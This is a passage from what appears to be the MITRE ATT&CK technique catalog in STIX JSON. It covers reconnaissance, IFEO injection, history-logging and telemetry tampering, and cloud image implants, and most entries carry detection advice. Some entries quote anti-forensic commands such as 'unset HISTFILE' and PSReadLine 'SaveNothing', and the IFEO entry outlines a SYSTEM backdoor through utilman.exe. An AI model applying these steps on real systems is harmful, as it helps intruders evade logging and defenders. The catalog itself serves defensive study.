            "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:31:05.302Z",
            "created": "2020-10-02T15:59:11.695Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1591.003",
                    "url": "https://attack.mitre.org/techniques/T1591/003"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Identify Business Tempo",
            "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",
            "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:38:31.983Z",
            "created": "2020-10-02T16:34:32.435Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1591.004",
                    "url": "https://attack.mitre.org/techniques/T1591/004"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Identify Roles",
            "description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "id": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:39:08.904Z",
            "created": "2020-10-02T16:37:30.015Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
            "name": "Image File Execution Options Injection",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1183",
                    "url": "https://attack.mitre.org/techniques/T1183"
                },
                {
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010"
                },
                {
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "source_name": "Microsoft GFlags Mar 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "source_name": "Microsoft Silent Process Exit NOV 2017"
                },
                {
                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "source_name": "Oddvar Moe IFEO APR 2018"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "source_name": "FSecure Hupigon"
                },
                {
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "source_name": "Symantec Ushedix June 2008"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-10T18:29:30.417Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created": "2020-01-24T15:05:58.384Z",
            "modified": "2020-11-10T18:29:31.112Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
            "name": "Image File Execution Options Injection",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.012",
                    "url": "https://attack.mitre.org/techniques/T1546/012"
                },
                {
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010"
                },
                {
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "source_name": "Microsoft GFlags Mar 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "source_name": "Microsoft Silent Process Exit NOV 2017"
                },
                {
                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "source_name": "Oddvar Moe IFEO APR 2018"
                },
                {
                    "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
                    "source_name": "Tilbury 2014"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "source_name": "FSecure Hupigon"
                },
                {
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "source_name": "Symantec Ushedix June 2008"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Oddvar Moe, @oddvarmoe"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1562.003",
                    "url": "https://attack.mitre.org/techniques/T1562/003"
                },
                {
                    "external_id": "CAPEC-13",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/13.html"
                },
                {
                    "source_name": "Microsoft PowerShell Command History",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7",
                    "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020."
                },
                {
                    "source_name": "Sophos PowerShell command audit",
                    "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit",
                    "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020."
                },
                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Impair Command History Logging",
            "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nOn Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
            "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-24T13:59:12.787Z",
            "created": "2020-02-21T20:56:06.498Z",
            "x_mitre_contributors": [
                "Vikas Singh, Sophos",
                "Emile Kenning, Sophos"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis",
                "Log analysis"
            ],
            "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>, or <code>HISTFILESIZE</code> environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with <code>-HistorySaveStyle SaveNothing</code> command-line arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. ",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529",
            "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.",
            "name": "Impair Defenses",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1562",
                    "url": "https://attack.mitre.org/techniques/T1562"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-24T13:59:13.144Z",
            "created": "2020-02-21T20:22:13.470Z",
            "x_mitre_platforms": [
                "Windows",
                "Office 365",
                "IaaS",
                "Linux",
                "macOS",
                "Containers"
            ],
            "x_mitre_data_sources": [
                "Process: Process Termination",
                "Windows Registry: Windows Registry Key Modification",
                "Windows Registry: Windows Registry Key Deletion",
                "Command: Command Execution",
                "Service: Service Metadata",
                "Sensor Health: Host Status",
                "Script: Script Execution",
                "Firewall: Firewall Disable",
                "Firewall: Firewall Rule Modification",
                "Cloud Service: Cloud Service Modification",
                "Cloud Service: Cloud Service Disable"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools.  Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Signature-based detection",
                "Host intrusion prevention systems",
                "File monitoring",
                "Digital Certificate Validation",
                "Host forensic analysis",
                "Log analysis",
                "Firewall"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1525",
                    "url": "https://attack.mitre.org/techniques/T1525"
                },
                {
                    "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019",
                    "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/",
                    "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."
                },
                {
                    "source_name": "Rhino Labs Cloud Backdoor September 2019",
                    "url": "https://github.com/RhinoSecurityLabs/ccat",
                    "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Implant Internal Image",
            "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",
            "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-12T18:28:27.948Z",
            "created": "2019-09-04T12:04:03.552Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_data_sources": [
                "Image: Image Creation",
                "Image: Image Modification"
            ],
            "x_mitre_detection": "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_contributors": [
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Praetorian"
            ],
            "x_mitre_platforms": [
                "IaaS",
                "Containers"
            ]
        },
        {
            "created": "2017-05-31T21:30:47.384Z",
            "modified": "2020-03-19T19:10:25.404Z",
            "type": "attack-pattern",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1054",
                    "url": "https://attack.mitre.org/techniques/T1054"
                },
                {
                    "external_id": "CAPEC-571",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/571.html"
                },
                {
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
                    "source_name": "Microsoft Lamin Sept 2017"
                },
                {
                    "source_name": "Microsoft About Event Tracing 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events",
                    "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019."
                },
                {
                    "source_name": "Medium Event Tracing Tampering 2018",
                    "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019."
                }
            ],
            "name": "Indicator Blocking",
            "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df"
        },
        {
            "id": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da",
            "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ",
            "name": "Indicator Blocking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1562.006",
                    "url": "https://attack.mitre.org/techniques/T1562/006"
                },
                {
                    "external_id": "CAPEC-571",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/571.html"
                },
                {
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
                    "source_name": "Microsoft Lamin Sept 2017"
                },
                {
                    "source_name": "Microsoft About Event Tracing 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events",
                    "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019."
                },
                {
                    "source_name": "Medium Event Tracing Tampering 2018",
                    "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-01-13T15:56:04.897Z",
            "created": "2020-03-19T19:09:30.329Z",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_contributors": [
                "Rob Smith"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Sensor Health: Host Status",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host intrusion prevention systems"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "revoked": true,
            "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
            "name": "Indicator Removal from Tools",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1066",
                    "external_id": "T1066"
                }
            ],
            "type": "attack-pattern",
            "modified": "2020-03-20T15:22:53.835Z",
            "created": "2017-05-31T21:30:54.176Z"
        },
        {
            "id": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.",
            "name": "Indicator Removal from Tools",
